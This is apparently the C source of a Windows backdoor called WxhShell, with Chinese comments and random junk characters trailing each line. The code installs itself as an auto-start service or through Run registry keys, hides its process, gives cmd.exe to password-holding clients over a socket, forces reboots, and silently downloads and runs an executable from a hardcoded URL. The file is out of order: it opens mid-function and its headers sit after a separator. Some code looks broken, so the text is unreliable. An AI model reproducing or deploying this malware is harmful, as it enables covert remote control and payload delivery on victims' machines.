    if(Boot(SHUTDOWN)) {~lVe GBp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RdtF5#\z  
    else { ;rK= jz^Q  
    closesocket(wsh); UF$JVb  
    ExitThread(0); Z WVN(U  
    } kg@Okz N%  
    break; a#_=c>h;  
    } 4)zHkN+  
  // 获取shell HLa3lUo  
  case 's': { "B^c  
    CmdShell(wsh); SBNeN]  
    closesocket(wsh); 4J"S?HsW|  
    ExitThread(0); Km=dId7]  
    break; yGN2/>]  
  } 5Lo\[K >j  
  // 退出 d8o<Q 9   
  case 'x': { qMj'%5/  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $XOs(>~"r  
    CloseIt(wsh); y7?n;3U]CS  
    break; ioZ{2kK  
    } YKk*QcAn  
  // 离开 VPAi[<FzOG  
  case 'q': { z3\WcW7|  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); <x^Ab#K"  
    closesocket(wsh); , Ac gsC  
    WSACleanup(); )nI}KQJ<  
    exit(1); t\/i9CBn  
    break; f7mN,_Lt  
        } -F+ )N$CW  
  } &:3uK`  
  } LMF@-j%  
)rqb<O  
  // 提示信息 bu j}pEI  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9MI~yIt`L  
} M`~UH\  
  } g<@P_^vo  
^5:xSQ@:  
  return; 2Gw2k8g&  
} WlJ $p$I`  
zFn!>Tqe  
// shell模块句柄 5Q9nJC{'NN  
int CmdShell(SOCKET sock) #2XX[d%  
{ _~=qByD   
STARTUPINFO si; !(-lY(x  
ZeroMemory(&si,sizeof(si)); gYtv`O  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; lh N2xg5x  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {Y\W&Edw%  
PROCESS_INFORMATION ProcessInfo; H2plT  
char cmdline[]="cmd"; nNN~Z'bG  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }r+(Z.BHM  
  return 0; 7jZE(|G-  
} mn>$K"_k  
~g6`Cp`  
// 自身启动模式 !b=jD;<  
int StartFromService(void) ~o+:M0)}  
{ jgz}  
typedef struct sghQ!ux  
{ 3\!DsPgW  
  DWORD ExitStatus; C'_^DPzj  
  DWORD PebBaseAddress; 4=Wtv/ 3  
  DWORD AffinityMask; ]WO0v`xh  
  DWORD BasePriority; ,bLHkBK  
  ULONG UniqueProcessId; S-4C >gM  
  ULONG InheritedFromUniqueProcessId; s.zfiJ  
}   PROCESS_BASIC_INFORMATION; nz?jNdyz  
8n[6BF);  
PROCNTQSIP NtQueryInformationProcess;  wh A  
EGY'a*]cU  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; G~ldU: ?  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @lYm2l^  
r}9a3 1i  
  HANDLE             hProcess; /CE]7m,7~K  
  PROCESS_BASIC_INFORMATION pbi; vq.~8c1  
;?*`WB  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >E9:3&[F  
  if(NULL == hInst ) return 0; 4Z& i\#Q  
~)ecQ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); t=K;/ 1  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); } ^}fx [  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); #TXN\YNP  
BeNH"Y:E  
  if (!NtQueryInformationProcess) return 0; Gl4(-e'b  
ek^=Z`  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); sp2"c"_+  
  if(!hProcess) return 0; :FUefW m  
}Sxuc/%:  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0G`FXj}L  
{Xc^-A[~  
  CloseHandle(hProcess); FRSz3^Aw  
iPD5 KsAOA  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); `Wes!>Vh!  
if(hProcess==NULL) return 0; wU9H=w^  
hZ#ydI|  
HMODULE hMod; Q?Y\WD  
char procName[255]; 1feZ`P ;  
unsigned long cbNeeded; {hXIP`  
4)cQU.(*k  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ;x|E}XD  
zm& D #)  
  CloseHandle(hProcess); "<#-#j  
WRq:xDRn0  
if(strstr(procName,"services")) return 1; // 以服务启动 7jj.maK  
aZk/\&=6  
  return 0; // 注册表启动 &pL.hM^  
} :75$e%'A  
gH0' Ok'  
// 主模块 -=tf)  
int StartWxhshell(LPSTR lpCmdLine) )r9l T*z  
{ ')bas#=uP  
  SOCKET wsl; HFtl4P  
BOOL val=TRUE; =J2cX`  
  int port=0; dTE(+M- Gr  
  struct sockaddr_in door; ,C=Lu9  
sULCYiT|Hn  
  if(wscfg.ws_autoins) Install(); g}cb>'=={  
Y]u6f c  
port=atoi(lpCmdLine); TL29{'4V  
sQ)D.9\~  
if(port<=0) port=wscfg.ws_port; 8RA]h?$$J  
H}Jdnu|ko  
  WSADATA data; &gP/<!#  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; *an^ 0  
yFD3:;}  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   3U_-sMOB|  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,n}h_ct  
  door.sin_family = AF_INET; ~x!"(  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); d4 Hpe>  
  door.sin_port = htons(port); Wk0"U V  
p)dD{+"/2  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 3@t&5UjwQ  
closesocket(wsl); /M0A9ZT[  
return 1; \!+#9sq0  
} NSsLuM=.  
fP:n=A{  
  if(listen(wsl,2) == INVALID_SOCKET) { !LG 5q/}&  
closesocket(wsl); 6> fQe8Y  
return 1; IbC8DDTD  
} ,y>%m;jL  
  Wxhshell(wsl); EAdr}io  
  WSACleanup(); @hb K  
DX*eN"z[  
return 0; rz@FUU:&  
oy;g;dtq  
} rt _k }  
A;06Zrf1  
// 以NT服务方式启动 2 SJ N;A~}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^57G]$Q  
{ V5.=08L  
DWORD   status = 0; 2;v1YKY  
  DWORD   specificError = 0xfffffff; cC NyW2'  
&F8N$H  
  serviceStatus.dwServiceType     = SERVICE_WIN32; bh[`uRC}  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; bzl-|+!yB  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; z;V Ai=m q  
  serviceStatus.dwWin32ExitCode     = 0; 7,.3'cCL^  
  serviceStatus.dwServiceSpecificExitCode = 0; e"){B  
  serviceStatus.dwCheckPoint       = 0; B@8M2Pl  
  serviceStatus.dwWaitHint       = 0; -MCDX^ >P  
wWaJ%z>3y  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); K [.*8  
  if (hServiceStatusHandle==0) return; o>#ue<Bc6  
"B$r{ vG  
status = GetLastError(); q JdC5z\[  
  if (status!=NO_ERROR) ,4OH9 -Q1  
{ ]"*sp  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; (>LJv |wn  
    serviceStatus.dwCheckPoint       = 0; oZ /z{`  
    serviceStatus.dwWaitHint       = 0; ++m^z` D  
    serviceStatus.dwWin32ExitCode     = status; lCX*Q{s22  
    serviceStatus.dwServiceSpecificExitCode = specificError; )zKZ<;#y  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4P>4d +  
    return; )Rlh[Y& r  
  } 1 m>x5Dbk!  
68!W~%?pR  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; #},4m  
  serviceStatus.dwCheckPoint       = 0; kT=KxS{  
  serviceStatus.dwWaitHint       = 0; 1 luRTI8^  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }Qqi013E L  
} 19g-#H!  
A~!v+W%vO1  
// 处理NT服务事件,比如:启动、停止 .!B>pp(9  
VOID WINAPI NTServiceHandler(DWORD fdwControl) q[wVC h  
{ ri]"a?Rm  
switch(fdwControl) ac2G;}B|  
{ Rg3cqe#O/  
case SERVICE_CONTROL_STOP: >k)zd-  
  serviceStatus.dwWin32ExitCode = 0; fx"~WeVcO  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; BJL*Dih m[  
  serviceStatus.dwCheckPoint   = 0; 2qN|<S&  
  serviceStatus.dwWaitHint     = 0; (L2:|1P)  
  { -J`VXG:M  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); IHrG!owf  
  } i'\7P-a  
  return; T2%{pcdV/  
case SERVICE_CONTROL_PAUSE: fbjT"jSzw  
  serviceStatus.dwCurrentState = SERVICE_PAUSED;  av!'UZP  
  break; ]9 ArT$  
case SERVICE_CONTROL_CONTINUE: D2@J4;UW*W  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; O 8\wH  
  break; )[Bl3+'  
case SERVICE_CONTROL_INTERROGATE: : U Yn  
  break; _'.YC<;  
}; s (hJ *  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `yvH0B -  
} x,+2k6Wn!  
B< 6E'  
// 标准应用程序主函数 s^QXCmb$8  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) (c'kZ9&  
{ T``O!>J  
v=Y) A?  
// 获取操作系统版本 Ln4zy*v{  
OsIsNt=GetOsVer(); 'A#bBn,|  
GetModuleFileName(NULL,ExeFile,MAX_PATH); jkrv2 `"  
jx?"m=`s:  
  // 从命令行安装 ?S~@Ea8/M  
  if(strpbrk(lpCmdLine,"iI")) Install(); "L)=Y7Dx  
kuZs30^  
  // 下载执行文件 q ?qpUPzD  
if(wscfg.ws_downexe) { ,5 A&  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) B S^P&TR!  
  WinExec(wscfg.ws_filenam,SW_HIDE); WS7a]~3'  
} ,iy;L_N  
Z'V"nhL  
if(!OsIsNt) { y?}R,5k  
// 如果时win9x,隐藏进程并且设置为注册表启动 ]rY3bG'&  
HideProc(); zfBaB0P  
StartWxhshell(lpCmdLine); q '  
} h=7eOK]  
else tnn,lWu|  
  if(StartFromService()) zNo(|;19  
  // 以服务方式启动 'y? HF@NJ  
  StartServiceCtrlDispatcher(DispatchTable); KsG>,# Q  
else s7(I  
  // 普通方式启动 ,RYahu  
  StartWxhshell(lpCmdLine); Li{R?Osx  
EXz{Pqz  
return 0; "+BNas^rF  
} Y;B#_}yF  
f'-) 3T  
@&4s)&-F  
}vof| (Yh  
=========================================== Qt VZ)777  
.zMM!l3  
6tDCaB  
NA<6s]Cs.  
gT=RJB  
Sd\+f6x  
" d=$1Z. ]  
'y<<ce*   
#include <stdio.h> 3v:c".O2O  
#include <string.h> J_tI]?jrU  
#include <windows.h> l4LowV7  
#include <winsock2.h> U*R  
#include <winsvc.h> uTq)Ets3  
#include <urlmon.h> &l| :1  
`B GU  
#pragma comment (lib, "Ws2_32.lib") a=%QckR*  
#pragma comment (lib, "urlmon.lib") n~e#Y<IP\1  
:{tj5P!S  
#define MAX_USER   100 // 最大客户端连接数  (r!d4  
#define BUF_SOCK   200 // sock buffer NU#rv%p  
#define KEY_BUFF   255 // 输入 buffer ;<~lzfs  
B;6N.X(K  
#define REBOOT     0   // 重启 @?gN &Z)I  
#define SHUTDOWN   1   // 关机 {R{Io|   
;=ci7IT'  
#define DEF_PORT   5000 // 监听端口 *]uj0@S  
(d@ =   
#define REG_LEN     16   // 注册表键长度 y~jYGN  
#define SVC_LEN     80   // NT服务名长度 e|~s'{3  
J ;e/S6l  
// 从dll定义API UZ qQ|3  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); : ~R:[T2P  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); y9@DlK  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ,x. 2kb  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 8g!C'5  
NW=tZVQ<X  
// wxhshell配置信息 uJX(s6["=  
struct WSCFG { H{4/~Z  
  int ws_port;         // 监听端口 d J;y>_  
  char ws_passstr[REG_LEN]; // 口令 aDreN*n  
  int ws_autoins;       // 安装标记, 1=yes 0=no F,l%SQCyj  
  char ws_regname[REG_LEN]; // 注册表键名 ZR|cZH1}C  
  char ws_svcname[REG_LEN]; // 服务名 =nTNL.SX  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 rcyq+wY #  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 fmv8)$W#U  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &8^1:CcE  
int ws_downexe;       // 下载执行标记, 1=yes 0=no SyWLPh  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" g0n 5&X  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 c{SD=wRt,y  
C $r]]MSj  
}; 0u7\*Iy  
)b_ GKA `  
// default Wxhshell configuration 4CdST3  
struct WSCFG wscfg={DEF_PORT, 7Hm/ g  
    "xuhuanlingzhe", `Y5{opG7-  
    1, a| s64+  
    "Wxhshell", HNj6Iw  
    "Wxhshell", 3|FZ!8D  
            "WxhShell Service", f|&ga'5g&  
    "Wrsky Windows CmdShell Service", iOO1\9{@  
    "Please Input Your Password: ", >FRJvZ6  
  1, HcKZmL. wp  
  "http://www.wrsky.com/wxhshell.exe", sIZ|N"2]A*  
  "Wxhshell.exe" .!&S{;Vv?W  
    }; UVIR P#  
+#/`4EnI  
// 消息定义模块 O@gHx!L  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \a|bx4M  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 1sHaG  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; e[ 8AdE  
char *msg_ws_ext="\n\rExit."; 01-n_ $b  
char *msg_ws_end="\n\rQuit."; nnm9pnx  
char *msg_ws_boot="\n\rReboot..."; UJX=lh.o  
char *msg_ws_poff="\n\rShutdown..."; :.k)!  
char *msg_ws_down="\n\rSave to "; a=!I(50  
n~wNee  
char *msg_ws_err="\n\rErr!"; L9FijF7  
char *msg_ws_ok="\n\rOK!"; R>YDn|cWI  
\B<A.,i4  
char ExeFile[MAX_PATH]; .eSMI!Y=  
int nUser = 0; nU6WT|  
HANDLE handles[MAX_USER]; <X{hW^??)  
int OsIsNt; f/VrenZ_  
NIQX?|;b{  
SERVICE_STATUS       serviceStatus; YyZ>w2_MTi  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 3X,SCG  
=?, dX  
// 函数声明 tUp'cG  
int Install(void); ]DaC??%w  
int Uninstall(void); Y8fahQ#  
int DownloadFile(char *sURL, SOCKET wsh); ZMVQo -=  
int Boot(int flag); D}| 30s?u1  
void HideProc(void); Zk4(  
int GetOsVer(void); 3V"y|q  
int Wxhshell(SOCKET wsl); o5 fXe}pl@  
void TalkWithClient(void *cs); A`D^}F6  
int CmdShell(SOCKET sock); rLfhm Ds%u  
int StartFromService(void); eZr}xo@9  
int StartWxhshell(LPSTR lpCmdLine); l*yh(3~}  
V(Dn!Nz  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); >;;tX3(  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); _cW (R,i  
6.!3g(w   
// 数据结构和表定义 H(1( H0Kj"  
SERVICE_TABLE_ENTRY DispatchTable[] = M_4:~&N$  
{ $2M dxw5  
{wscfg.ws_svcname, NTServiceMain}, WG_20JdJY  
{NULL, NULL} N!`8-ap\^  
}; A|D]e)/6+B  
\*_@`1m  
// 自我安装 _v+mjDdQ  
int Install(void) .skR4f,h  
{ -C7IUat<  
  char svExeFile[MAX_PATH]; t!g9,xG<X  
  HKEY key; Px>Gc:!>  
  strcpy(svExeFile,ExeFile); nn"Wn2ciS  
6#JdQ[IP6  
// 如果是win9x系统,修改注册表设为自启动 wM^_pah#Y5  
if(!OsIsNt) { X2MQa:yksP  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ? 8d7/KZO  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `y2 6OYo  
  RegCloseKey(key); 4l2xhx  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { es` A<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); n tfwR#j  
  RegCloseKey(key); Vo\RtM/6{  
  return 0; p:hzLat~  
    } U~mv1V^.  
  } _V9 O,"DDc  
} tkG0xRH  
else { bs%lMa.o  
q]\bJV^/U  
// 如果是NT以上系统,安装为系统服务 4@wH4H8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); F=29"1 ._  
if (schSCManager!=0) *hT1_  
{ 6PS #Zydb  
  SC_HANDLE schService = CreateService e*Gm()Vu,  
  ( e$E~@{[1)  
  schSCManager, (X rrnoz  
  wscfg.ws_svcname, M@>EZ  
  wscfg.ws_svcdisp, ohdWEU,  
  SERVICE_ALL_ACCESS, ,=9e]pQ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , &~u=vuX  
  SERVICE_AUTO_START, [3s p  
  SERVICE_ERROR_NORMAL, vu%:0p` K  
  svExeFile, Uf`lGGM  
  NULL, pX:FXzYQ  
  NULL, fC_dSM[{c  
  NULL, ;JcOm&d/hk  
  NULL, 5ml^3,x  
  NULL )TceNH  
  ); .oJs"=h:m  
  if (schService!=0) cm8-L[>E  
  { I$Q%i Z{  
  CloseServiceHandle(schService); i4Y_5  
  CloseServiceHandle(schSCManager); *aXZONym  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ?/_8zpW  
  strcat(svExeFile,wscfg.ws_svcname); 0,T'z,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { |EJ&s393&  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); >@yHa'*9S  
  RegCloseKey(key); 3&D;V;ON}_  
  return 0; &=sVq^d@qe  
    } s<I[)FQVr  
  } XIu3n9g^#  
  CloseServiceHandle(schSCManager); 959i2z  
} l_lm)'ag  
} sOJH$G3O  
qzVmsxBNP  
return 1; w$9aTL7  
} ) 0x* >;"o  
#rZk&q  
// 自我卸载 Tr1#=&N0  
int Uninstall(void) yqF$J"=|  
{ OXC7 m  
  HKEY key; JTw'ecFev  
zX-6]j;  
if(!OsIsNt) { OE!:`Bo3T  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { GfAt-huL(  
  RegDeleteValue(key,wscfg.ws_regname); T,72I  
  RegCloseKey(key); ~-,P1 u!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +e0]Y8J{  
  RegDeleteValue(key,wscfg.ws_regname); e&C(IEZ/N;  
  RegCloseKey(key); g1Q^x/  
  return 0; 2&E1)^  
  } [?<"SJ,`  
} ExDH@Lb  
} Jy'ge4]3  
else { \o^M,yI  
eH2.,wY1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); %d+:0.+`n  
if (schSCManager!=0) IB x?MU#.  
{ +igFIoHTM  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); V8>%$O sw  
  if (schService!=0) =nEl m*E  
  { X[8m76/V  
  if(DeleteService(schService)!=0) { b;&J2:`  
  CloseServiceHandle(schService); <^&NA<2  
  CloseServiceHandle(schSCManager); kb?QQ\e  
  return 0;  4q)eNcs  
  } 9$,?Grw~  
  CloseServiceHandle(schService); q P@4KH} e  
  } DJeP]  
  CloseServiceHandle(schSCManager); oJK]oVX9i  
} 5=g{%X  
} m:<cLc :.  
 Xc2Oa  
return 1; p+ymt P F  
} OHzI!,2]  
m :ROq  
// 从指定url下载文件 br"p D-}  
int DownloadFile(char *sURL, SOCKET wsh) fbS l$jn.  
{ uXuMt a* Y  
  HRESULT hr; o<e AZ  
char seps[]= "/"; N}wi<P:*)  
char *token; x`^~|Q  
char *file; vJ$#m_aa  
char myURL[MAX_PATH]; `j088<?j  
char myFILE[MAX_PATH]; 9hI4',(rE  
o}p6qB=;1  
strcpy(myURL,sURL); YJ]]6 K+  
  token=strtok(myURL,seps); !!ZNemXct$  
  while(token!=NULL) KIdlndGs  
  { 6Flc4L8JU  
    file=token; h"KN)xi$  
  token=strtok(NULL,seps); '$~9~90?Z  
  } 0-EhDGa]r  
|b'fp1</  
GetCurrentDirectory(MAX_PATH,myFILE); + )?1F  
strcat(myFILE, "\\"); >?yaG=  
strcat(myFILE, file); `gy]|gS#b  
  send(wsh,myFILE,strlen(myFILE),0);  *5 FSq  
send(wsh,"...",3,0); pB{QO4q n  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); z2og&|uT  
  if(hr==S_OK) pYJv|`+  
return 0; &C3J6uCm+  
else #rzq9}9tB  
return 1; wH[@#UP3l  
:{C#<g`  
} GVZ/`^ndM  
:L`  
// 系统电源模块 KYVB=14  
int Boot(int flag) DY?`Y%"  
{ q@P5c  
  HANDLE hToken; wo84V!"A  
  TOKEN_PRIVILEGES tkp; bT>% *  
Wx~ 0_P  
  if(OsIsNt) { uk_?2?>-5  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 0X#tt`;  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); BCF- lrZ&  
    tkp.PrivilegeCount = 1; gNl@T  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; gOa'o<  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); PdJtJqA8h\  
if(flag==REBOOT) { yowvq4e  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) JP9eNc[  
  return 0; Z~$=V:EA?  
} wQ[~7 ,o  
else { b mZRCvW>A  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5bGV91  
  return 0; V@<tIui$  
} ]*U\ gm%  
  } DM{ 7x77  
  else { AV AF!Z  
if(flag==REBOOT) { q~.\NKc  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) =ji p* E^  
  return 0; ,JRYG<O_T  
} -]\%a=]  
else { URmx8=q  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) R3wK@D  
  return 0; X!,P] G  
} 0U ?1Yh7 m  
} }S3m wp<Y  
^-PlTmT  
return 1; (w?@qs!  
}  =w0Rq~  
gSK (BP|  
// win9x进程隐藏模块 +60zJ 4  
void HideProc(void) }Gr5TDiV0\  
{ !)ey~Suh  
N%/Qc hu  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); B+eB=KL  
  if ( hKernel != NULL ) g=Q#2/UQ<  
  { x$I~y D  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); /K<Xr[z~y  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); e`'O!  
    FreeLibrary(hKernel); }8GCOY  
  } j"HB[N   
=El.uBz{  
return; E}mnGe  
} 15#v|/wI'  
;^lVIS%&{  
// 获取操作系统版本 `4}zB#3  
int GetOsVer(void) ,*a8]L  
{ %Y:'5\^lC  
  OSVERSIONINFO winfo; >Be PE(k  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); <^|8\<J  
  GetVersionEx(&winfo); I,QJ/sI  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) fyT:I6*  
  return 1; *-T3'beg  
  else ()v[@"J  
  return 0; A!H6$-W|p  
} KWCA9.w4q  
i0Qg[%{9#  
// 客户端句柄模块 o5mt7/5[i  
int Wxhshell(SOCKET wsl) .?CDWbzq  
{ -#j-Zo+<  
  SOCKET wsh; cIK-VmO  
  struct sockaddr_in client; 7EOn4I2@[  
  DWORD myID; q0jzng  
W@AZ<(RI:  
  while(nUser<MAX_USER) G+ Y`65  
{  :D} xT]  
  int nSize=sizeof(client); 1[D~Ee p  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 8V`r*:\  
  if(wsh==INVALID_SOCKET) return 1; oat*ORL  
'g^;_=^G  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 9 Bz ~3  
if(handles[nUser]==0) BQ,]]}e43z  
  closesocket(wsh); p82&X+v/p  
else f8+($Ys  
  nUser++; Xl;u  
  } ]zmY] 5  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); G#@o6r  
v)!Rir5  
  return 0; 'h%)@q)J)  
} &!2 4l=!  
M/:kh,3  
// 关闭 socket fBS;~;l  
void CloseIt(SOCKET wsh) E@hvO%  
{ <w+K$WE {  
closesocket(wsh); HGs.v}@&  
nUser--; ^;$a_eR  
ExitThread(0); )MHvuk:I)  
} /hOp>|  
L,p5:EW8.  
// 客户端请求句柄 {tk42}8k  
void TalkWithClient(void *cs) IX']s;b  
{ bT,]=h"0  
U P GS  
  SOCKET wsh=(SOCKET)cs; acdaDY  
  char pwd[SVC_LEN]; M'$n".,p  
  char cmd[KEY_BUFF]; WM*[+8h  
char chr[1]; R"];`F(#  
int i,j; gsGwf[XdJ  
o>311(:  
  while (nUser < MAX_USER) { Q*ZqY  
Z9cch- u~  
if(wscfg.ws_passstr) { @ T'!;)  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qm4 Ejc<  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;yqJEj_m(  
  //ZeroMemory(pwd,KEY_BUFF); ce.'STm=  
      i=0; (\e,,C%;  
  while(i<SVC_LEN) { D0v!fF ~  
0rxlN [Yp  
  // 设置超时 pjvChl5  
  fd_set FdRead; he8y  
  struct timeval TimeOut; Ms=x~o'  
  FD_ZERO(&FdRead); $L)9'X   
  FD_SET(wsh,&FdRead); ]$Ky ZHj{  
  TimeOut.tv_sec=8; I?lQN$A.E  
  TimeOut.tv_usec=0; 320Wm)u>:  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); DhG2!'N  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); -1Yt3M&  
j0>S)Q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3P\#moJ  
  pwd=chr[0]; d2&sl(O  
  if(chr[0]==0xd || chr[0]==0xa) { `][~0\Y3m  
  pwd=0; 6vQAeuz<Fq  
  break; KVvIo1$N  
  }  MScjq  
  i++; D@rOX(m  
    } eY"y[  
`E8m> q Ss  
  // 如果是非法用户,关闭 socket -d[9mS  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 6{8qATLR  
} q*{i/=~  
m@;X%wf<U  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); UN'hnqC  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); CtTG`)"|  
?9mFI(r~  
while(1) { Os?G_ziIB  
2/ PaXI/Z  
  ZeroMemory(cmd,KEY_BUFF); ~j^HDHY@  
T|GRkxd,E3  
      // 自动支持客户端 telnet标准   ,v4Z[ (  
  j=0; X4!` V?  
  while(j<KEY_BUFF) { F6dm_Oq&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8iB1a6TlL  
  cmd[j]=chr[0]; !sfOde)$  
  if(chr[0]==0xa || chr[0]==0xd) { 8E H# IiP  
  cmd[j]=0; sycN  
  break; O _yJR  
  } 9IIQon  
  j++; Vz1ro  
    } lj/ ?P9  
sOa`Tk  
  // 下载文件 #[ vmS  
  if(strstr(cmd,"http://")) { r50}j  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); >k<.bEx(A  
  if(DownloadFile(cmd,wsh)) @ eqVu g  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Us+|L|/  
  else rV<yM$IA  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8c`g{ *z  
  } H^_[nL  
  else { A-aukJg9  
g05:A0X#  
